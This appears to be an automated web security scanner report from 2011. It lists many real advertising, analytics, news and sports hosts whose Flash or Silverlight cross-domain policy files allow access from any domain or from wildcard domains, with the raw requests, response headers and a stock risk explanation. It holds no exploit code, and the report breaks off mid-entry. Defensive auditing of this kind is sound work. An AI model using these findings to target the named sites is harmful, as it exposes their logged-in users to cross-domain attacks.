HTTP/1.0 200 OK Content-Type: text/xml Accept-Ranges: bytes ETag: "8dd9956cd874cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 207 Age: 1 Date: Mon, 03 Oct 2011 01:02:34 GMT Last-Modified: Sat, 17 Sep 2011 01:23:37 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ecn.t2.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Content-Type: text/xml Accept-Ranges: bytes ETag: "8dd9956cd874cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 207 Age: 18986 Date: Mon, 03 Oct 2011 01:02:37 GMT Last-Modified: Sat, 17 Sep 2011 01:23:37 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ecn.t3.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Content-Type: text/xml Accept-Ranges: bytes ETag: "8dd9956cd874cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 207 Age: 179286 Date: Mon, 03 Oct 2011 01:02:31 GMT Last-Modified: Sat, 17 Sep 2011 01:23:37 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ehg-twi.hitbox.com
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:49:17 GMT Server: Hitbox Gateway 9.3.6-rc1 Connection: close Cache-Control: max-age=3600, private, proxy-revalidate Expires: Mon, 03 Oct 2011 00:49:17 GMT Content-Type: text/xml Content-Length: 93
The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific subdomains.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: ff.connextra.com
Response
HTTP/1.0 200 OK Server: Apache-Coyote/1.1 ETag: W/"185-1316505216000" Last-Modified: Tue, 20 Sep 2011 07:53:36 GMT Content-Type: application/xml Content-Length: 185 Date: Sun, 02 Oct 2011 23:50:54 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: hits.guardian.co.uk
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:01 GMT Server: Omniture DC/2.0.0 xserver: www63 Content-Length: 137 Keep-Alive: timeout=15 Connection: close Content-Type: text/html
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ib.adnxs.com
Response
HTTP/1.0 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: uuid2=-1; path=/; expires=Sun, 19-Sep-2021 23:51:32 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/xml
<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only" ...[SNIP]... <allow-access-from domain="*"/> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: idpix.media6degrees.com
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Accept-Ranges: bytes ETag: W/"288-1225232951000" Last-Modified: Tue, 28 Oct 2008 22:29:11 GMT Content-Type: application/xml Content-Length: 288 Date: Sun, 02 Oct 2011 23:50:12 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: js.revsci.net
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: application/xml Date: Sun, 02 Oct 2011 23:48:52 GMT Connection: close
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <!-- allow Flash 7+ players to invoke JS from this server --> <cross-domain-po ...[SNIP]... <allow-access-from domain="*" secure="false"/> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: kantarmedia.guardian.co.uk
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:28 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Last-Modified: Thu, 10 Jan 2008 16:02:57 GMT ETag: "39dd8a-d0-4436057df0e40" Accept-Ranges: bytes Content-Length: 208 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: l.betrad.com
Response
HTTP/1.1 200 OK Cache-Control: max-age=315360000, public Content-Type: application/xml Date: Sun, 02 Oct 2011 23:51:50 GMT ETag: "4e4ab204=cf" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Tue, 16 Aug 2011 18:08:04 GMT Server: Cherokee Content-Length: 207 Connection: Close
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-p ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: m.xp1.ru4.com
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:50:18 GMT P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI" Content-type: text/xml Last-modified: Mon, 22 Nov 2010 21:32:05 GMT Content-length: 202 Etag: "ca-4ceae155" Accept-ranges: bytes Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: media.fastclick.net
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:53:12 GMT Server: Apache/2.2.4 (Unix) P3P: policyref="/w3c/p3p.xml", CP="NOI NID DEVo TAIo PSAo HISo OTPo OUR DELo BUS COM NAV INT DSP COR" Content-Length: 202 Keep-Alive: timeout=5, max=19977 Connection: Keep-Alive Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: oas.guardian.co.uk
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:04 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Last-Modified: Thu, 10 Jan 2008 16:02:57 GMT ETag: "23678b-d0-4436057df0e40" Accept-Ranges: bytes Content-Length: 208 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: openx.px.invitemedia.com
Response
HTTP/1.0 200 OK Server: IM BidManager Date: Sun, 02 Oct 2011 23:52:30 GMT Content-Type: text/plain Content-Length: 81
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: panel.kantarmedia.com
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:21 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Last-Modified: Thu, 10 Jan 2008 16:02:57 GMT ETag: "ff605-d0-4436057df0e40" Accept-Ranges: bytes Content-Length: 208 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: pix04.revsci.net
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: application/xml Date: Sun, 02 Oct 2011 23:50:04 GMT Connection: close
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <!-- allow Flash 7+ players to invoke JS from this server --> <cross-domain-po ...[SNIP]... <allow-access-from domain="*" secure="false"/> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: pixel.quantserve.com
Response
HTTP/1.0 200 OK Connection: close Cache-Control: private, no-transform, must-revalidate, max-age=86400 Expires: Mon, 03 Oct 2011 23:48:53 GMT Content-Type: text/xml Content-Length: 207 Date: Sun, 02 Oct 2011 23:48:53 GMT Server: QS
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: premiumtv.122.2o7.net
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:17 GMT Server: Omniture DC/2.0.0 xserver: www42 Connection: close Content-Type: text/html
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: r.turn.com
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: private Pragma: private Expires: Sun, 02 Oct 2011 23:49:38 GMT Content-Type: text/xml;charset=UTF-8 Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:49:37 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: rs.gwallet.com
Response
HTTP/1.0 200 OK Content-Length: 207 Server: radiumone/1.2 Content-type: text/xml; charset=UTF-8 P3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: secure-uk.imrworldwide.com
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 02 Oct 2011 23:51:44 GMT Content-Type: text/xml Content-Length: 268 Last-Modified: Wed, 14 May 2008 01:55:09 GMT Connection: close Expires: Sun, 09 Oct 2011 23:51:44 GMT Cache-Control: max-age=604800 Accept-Ranges: bytes
The application publishes a Flash cross-domain policy which allows access from any domain, and uses a wildcard to specify allowed domains.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Request
GET /crossdomain.xml HTTP/1.0 Host: secure.mlb.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: serve.williamhill.com
Response
HTTP/1.1 200 OK ETag: W/"204-1301398816000" Last-Modified: Tue, 29 Mar 2011 11:40:16 GMT Content-Type: application/xml Content-Length: 204 Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: servedby.flashtalking.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: speed.pointroll.com
Response
HTTP/1.0 200 OK Content-Length: 170 Content-Type: text/xml Last-Modified: Tue, 06 Apr 2010 18:31:31 GMT Accept-Ranges: bytes ETag: "8e43ce60b7d5ca1:527" Server: Microsoft-IIS/6.0 P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC" X-Powered-By: ASP.NET Date: Sun, 02 Oct 2011 23:49:49 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: stat.flashtalking.com
Response
HTTP/1.0 200 OK Server: Apache ETag: "0580c1d81e1acfe994df99be827cb0c3:1279561426" Last-Modified: Mon, 19 Jul 2010 17:43:46 GMT Accept-Ranges: bytes Content-Length: 253 Content-Type: application/xml Date: Sun, 02 Oct 2011 23:53:33 GMT Connection: close
<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <!-- Policy file for http://a.flashtalking.com --> <cross-domain-policy> <allow-access-from domain="*" /> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: sync.mathtag.com
Response
HTTP/1.0 200 OK Cache-Control: no-cache Connection: close Content-Type: text/cross-domain-policy P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Server: mt2/2.0.18.1573 Apr 18 2011 16:09:07 pao-pixel-x1 pid 0x2317 8983 Connection: keep-alive Content-Length: 215
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: tags.bluekai.com
Response
HTTP/1.0 200 OK Date: Sun, 02 Oct 2011 23:50:19 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Wed, 06 Jul 2011 22:45:14 GMT ETag: "8db82c0-ca-4a76e5a88d280" Accept-Ranges: bytes Content-Length: 202 Content-Type: text/xml Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: vox-static.liverail.com
Response
HTTP/1.0 200 OK x-amz-id-2: 3sebe0ISz1GFs6/hvk4dqs1hU1eLmkoo5AIw0djnmKp3YLF6a3gCmXnpbbO5MTe8 x-amz-request-id: 90FA83FA648BCA9A x-amz-meta-s3fox-filesize: 274 x-amz-meta-s3fox-modifiedtime: 1267129495540 Last-Modified: Thu, 25 Feb 2010 20:27:58 GMT ETag: "1f663267210f6e5843980e9159b0b9ae" Content-Type: text/xml Content-Length: 274 Server: AmazonS3 Date: Sun, 02 Oct 2011 23:51:26 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.luminate.com
Response
HTTP/1.0 200 OK Date: Sun, 02 Oct 2011 23:30:51 GMT Server: Apache Last-Modified: Tue, 02 Aug 2011 01:04:02 GMT Accept-Ranges: bytes Content-Length: 273 Content-Type: application/xml Age: 1305 X-Cache: HIT from lb2-sv.int.pixazza.com X-Cache-Lookup: HIT from lb2-sv.int.pixazza.com:80 Via: 1.0 lb2-sv.int.pixazza.com:80 (squid/2.6.STABLE18) Connection: Keep-Alive
The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific subdomains.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.manutd.com
Response
HTTP/1.0 200 OK Content-Type: text/xml Last-Modified: Fri, 05 Nov 2010 15:28:55 GMT Accept-Ranges: bytes ETag: "eea78028fe7ccb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET svr: web4 Content-Length: 660 Date: Sun, 02 Oct 2011 23:49:03 GMT Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.premierleague.com
Response
HTTP/1.0 200 OK Server: Sun-Java-System-Web-Server/7.0 Last-Modified: Sun, 02 Oct 2011 23:44:14 GMT Content-Type: text/xml Expires: Sun, 02 Oct 2011 23:48:52 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sun, 02 Oct 2011 23:48:52 GMT Content-Length: 322 Connection: close
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: www9.effectivemeasure.net
Response
HTTP/1.0 200 OK P3P: policyref="http://www.effectivemeasure.net/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM" Pragma: no-cache Cache-Control: no-cache Pragma-directive: no-cache Cache-Directive: no-cache Expires: 0 Content-Type: text/xml Accept-Ranges: bytes Last-Modified: Fri, 11 Mar 2011 04:05:00 GMT Content-Length: 322 Connection: close Date: Sun, 02 Oct 2011 23:52:46 GMT Server: C20
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.1 Host: xml.eplayer.performgroup.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://static.eplayer.performgroup.com/ptvFlash/eplayer2/Eplayer.swf Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: xml.premierleague.com
Response
HTTP/1.0 200 OK Server: Sun-Java-System-Web-Server/7.0 Last-Modified: Sun, 02 Oct 2011 23:48:22 GMT Content-Type: text/xml Expires: Sun, 02 Oct 2011 23:49:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sun, 02 Oct 2011 23:49:08 GMT Content-Length: 322 Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: adadvisor.net
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:19 GMT Connection: close Server: AAWebServer P3P: policyref="http://www.adadvisor.net/w3c/p3p.xml",CP="NOI NID" Content-Length: 539 Content-Type: Content-Type: application/xml
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: cookex.amp.yahoo.com
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:53:07 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Last-Modified: Fri, 14 May 2010 21:53:13 GMT Accept-Ranges: bytes Content-Length: 1548 Connection: close Content-Type: application/xml
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: googleads.g.doubleclick.net
Response
HTTP/1.0 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/x-cross-domain-policy; charset=UTF-8 Last-Modified: Thu, 15 Sep 2011 22:33:08 GMT Date: Sun, 02 Oct 2011 06:13:55 GMT Expires: Mon, 03 Oct 2011 06:13:55 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Age: 63427 Cache-Control: public, max-age=86400
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Request
GET /crossdomain.xml HTTP/1.0 Host: optimized-by.rubiconproject.com
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: resource.guim.co.uk
Response
HTTP/1.0 200 OK Server: Apache X-GU-jas: 57-22127 X-GU-PageRenderer: RawResourcePageRenderer Content-Language: en-US Content-Type: application/xml Content-Length: 695 X-GU-httpd: 57 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Cache-Control: max-age=8 Date: Sun, 02 Oct 2011 23:50:57 GMT Connection: close
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <!-- why are we doing this? See here: ht ...[SNIP]... <allow-access-from domain="*.guardian.co.uk"/> <allow-access-from domain="static.guim.co.uk"/> <allow-access-from domain="static.guimqa.co.uk"/> <allow-access-from domain="static.guimcode.co.uk"/> <allow-access-from domain="*.gnl" /> ...[SNIP]...
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.goal.com
Response
HTTP/1.0 200 OK Accept-Ranges: bytes Content-Type: application/xml Date: Sun, 02 Oct 2011 23:51:59 GMT Last-Modified: Thu, 17 Dec 2009 17:49:14 GMT Server: ECS (sjo/5227) X-Cache: HIT Content-Length: 410 Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.guardian.co.uk
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:55 GMT Server: Apache Last-Modified: Thu, 01 Apr 2010 16:14:59 GMT Accept-Ranges: bytes Content-Length: 1353 Vary: Accept-Encoding,User-Agent Cache-Control: max-age=86400 Expires: Mon, 03 Oct 2011 23:50:55 GMT X-GU-httpd: 58 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/xml
The application publishes a Flash cross-domain policy which allows access from specific other domains.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: matcher-cwb.bidder7.mookie1.com
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:16 GMT Server: Apache/2.2.3 (Red Hat) Last-Modified: Sat, 27 Aug 2011 03:06:07 GMT ETag: "4010201-116-4ab73f16ec5c0" Accept-Ranges: bytes Content-Length: 278 Connection: close Content-Type: text/xml
The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ad.doubleclick.net
Response
HTTP/1.0 200 OK Server: DCLK-HttpSvr Content-Type: text/xml Content-Length: 314 Last-Modified: Wed, 21 May 2008 20:54:04 GMT Date: Sun, 02 Oct 2011 23:51:36 GMT
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ad4.liverail.com
Response
